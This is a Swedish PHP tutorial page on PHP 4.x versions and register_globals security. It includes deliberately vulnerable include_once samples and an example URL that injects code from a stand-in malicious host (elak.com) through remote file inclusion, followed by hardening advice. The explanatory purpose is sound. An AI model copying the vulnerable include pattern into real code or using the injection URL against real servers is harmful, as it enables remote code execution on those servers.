några sidor på nätet om PHP programmering

Sök efter  
Börja här Uppgifter Testa dig själv Tips Sidokarta mm. Länkar Sök

Installation PHP versionerna Kodformatering

1.0.2 PHP versionerna

När jag skriver (om) denna sida är den aktuella verionen av php 4.3.0. Den fungerar dock i stort sett som 4.1.0 med avseende på säkerhet och golbala variabler. Det förefaller dock finnas en hel del 4.0.6 servrar fortfarande. Om du stöter på en sådan måste du anpassa koden. När jag började skriva dessa sidor var det vanligt med såväl 4.0.3, 4.0.6 och 4.1.2 så jag skapade en kompatibilitetsfil som jag använde för hantering av vissa variabler, och som jag inkluderar på alla sidor där jag behöver åtkomas av $_REQUEST eller $_SERVER. Se sources2.php för mer information.

 

Alla datorer som är kopplade till Internet är, per definition, osäkra. Detta gäller även internetrservrar med PHP installerat. Under den senaste tiden har PHP genomgått en rad förändringar, mest på grund av säkerhetsproblem. Jag beaktar inte PHP version 3 eftersom den (förhoppningsvis) inte används längre, men för 4:orna finns det ett antal mellanversioner.

PHP 4.0.3 och tidigare

I dessa versioner användes globala variabler för både "vanliga variabler", som för data som kom t.ex via URL. Detta medförde att man kunde skriva kod i stil med:

<?php
    
# $minKatalog är en global variabel som pekar
    # på en viss katalog
    
include_once( "$minKatalog/programkod.php");
    
# gör något
?>
Listning 1.0.2.1 - samples/php403.php

En cracker kan då åberopa sidan som

"php403.php?$minKatalog=http://www.elak.com/elakt.php"

och i praktiken se till att få in sin egna "elaka kod" i ditt program. Orsaken till att detta går är att denna PHP version inte gjorde någon skillnad mellan variabler och sådant som kom via en GET eller POST. Det finns metoder att komma förbi detta säkerhetsproblem, men de flesta programmerare vill ju så snabbt som möjligt få ett resultat, och bryr sig inte alltför ofta om säkerheten.

Vill du se mera om detta kan du t.ex. läsa Datormagazin nr. 3-2002, eller ta en titt på registerglobals *

PHP 4.0.6

I denna php version så användes HTTP_*_VARS för att komma åt datat. För kompatibilitet bakåt så finns det i php.ini en inställning register_globals, som om den är On gör att denna version hanterar globala variabler på samma sätt som 4.0.3. Denna skall helst sättas till Off. För att få motsvarande säkerhetsläcka som i exemplet för 4.0.3 så måste man då skriva följande kod:

<?php
    
# $minKatalog är en global variabel som pekar
    # på en viss katalog
    
include_once( "{$HTTP_GET_VARS["minKatalog"]}/programkod.php");
    
# gör något
?>
Listning 1.0.2.2 - samples/php406.php

Detta är helt möjligt att göra, men kan inte ske i misstag. (Dessutom krävs det en extremt korkad programmerare). Ett problem med HTTP_*_VARS var dock att dessa inte var helt globala. Om man behövde dessa i en funktion så måste man göra på följande sätt:

<?php
    
function enFunktion( )
    {
        
# för att slippa åt HTTP_GET_VARS måste
        # vi deklarera den med global
        
global $HTTP_GET_VARS;
        
$data = $HTTP_GET_VARS["viaUrl"];
        
# gör något
    
}
?>
Listning 1.0.2.3 - samples/php406b.php

Detta komplicerade koden och många programmerare satte helt enkelt register_globals till On för att slippa problemet.

PHP 4.1.0

I denna version introducerades s.k. superglobals för GET, POST COOKIE mm. Dessa gjorde programmeringen lättare, utan att för den skull öppna upp bakdörrar för crackers. (Se även _server.php)

<?php
    
function enFunktion( )
    {
        
# går eftersom $_GET är en "superglobal"
        
$data = $_GET["viaUrl"];
        
# gör något
    
}
?>
Listning 1.0.2.4 - samples/php410.php

Ett problem är att många program som fungerade med de äldre versionerna, slutade fungera med 4.1.0. Man kan dock skriva program som är kompatibla mot både 4.0.6 och 4.1.0, se nedan:

<?php
    
function visa()
    {
        
# 4.0.6 kompatibel
        
global $HTTP_GET_VARS;
        echo
$HTTP_GET_VARS["viaUrl"] ."<br>";

        
# 4.1.0 kompatibel
        
echo $_GET["viaUrl"] ."<br>";
    }
    
visa();
?>
Listning 1.0.2.5 - samples/php410b.php

./samples/php410b.php?viaUrl=hejsan

Några ord om phpinfo()

phpinfo() är en utmärkt funktion för debugging, eller när man är lite osäker på hur webservern är inställd. Den visar allt man kan tänkas vilja veta. Tyvärr visar den även en hel del viktig information åt crackern som söker vägar att bryta sig in i systemet. Visa därför aldrig phpinfo() informationen!

Rekommendationer

  1. Försök om möjligt få tillgång till PHP 4.1.0 (när jag skriver detta finns redan 4.1.1 ute som stabil version). Har din ISP inte denna version, påpeka försynt att de är idioter, och att de förtjänar varje crackerattack de kan få...
    Fattar de inte detta kan du påstå att de kommer att få brinna i helvetet för sin dumhet, det brukar ta skruv...
    Går inte detta, försök använda 4.0.6.

  2. Se till att register_globals = Off finns i php.ini

  3. För en "känsligare" applikation: se till att safe_mode = On
    Detta medför dock en hel del problem, se safe-mode *

  4. Överväg att sätta allow_url_fopen = off i php.ini. Detta medför dock att man inte kan öppna filer med http://, vilket ibland kan vara hämmande.

  5. Se till att display_error = Off och log_error = On . Detta gör att felmeddelanden inte visas till browsern, utan loggas bara. Ett felmeddelande kan ge ruskigt mycket information åt en eventuell cracker.

  6. Rätt mycket kod - i böcker, tidningar och på nätet - är anpassad till äldre PHP-standarder. Tag dig tid att analysera och ändra koden till 4.1.0 kompatibel. Man lär sig mer av copy/paste/modify än av bara copy/paste
   Börja härPHP versionerna